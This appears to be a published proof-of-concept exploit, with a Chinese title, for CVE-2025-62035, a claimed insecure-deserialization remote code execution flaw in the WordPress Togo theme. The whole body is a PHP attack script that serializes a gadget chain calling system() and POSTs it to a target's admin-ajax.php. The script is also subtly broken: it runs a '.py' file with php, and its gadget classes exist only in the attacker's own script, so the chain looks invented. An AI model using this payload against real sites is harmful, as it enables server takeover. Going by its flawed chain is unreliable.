CVE-2025-62035: WordPress Togo主题不安全反序列化远程代码执行漏洞

<?php /** * CVE-2025-62035 PoC - WordPress Togo Theme PHP Object Injection * Vulnerability: Deserialization of Untrusted Data * Affected: Togo Theme < 1.0.4 * * Usage: Modify target URL and execute via command line * php cve-2025-62035.py http://target.com/ */ class MaliciousPayload { public $callback; public function __construct() { // Pop chain to execute arbitrary command $this->callback = 'system'; } public function __wakeup() { // Triggered during deserialization if (isset($this->callback)) { call_user_func($this->callback, $this->cmd); } } } class GadgetChain { public $obj; public $cmd; public function __destruct() { // Chain to MaliciousPayload if (isset($this->obj)) { $this->obj->cmd = $this->cmd; unserialize(serialize($this->obj)); } } } // Generate malicious serialized payload $payload = new GadgetChain(); $payload->obj = new MaliciousPayload(); $payload->cmd = 'id > /tmp/pwned'; // Command to execute $exploit = serialize($payload); echo "Generated Payload: " . base64_encode($exploit) . "\n"; // For HTTP POST exploitation $data = [ 'action' => 'togo_ajax_action', 'data' => $exploit ]; // Send exploit request $ch = curl_init($argv[1] . '/wp-admin/admin-ajax.php'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Exploit sent. Check /tmp/pwned on target server.\n"; ?>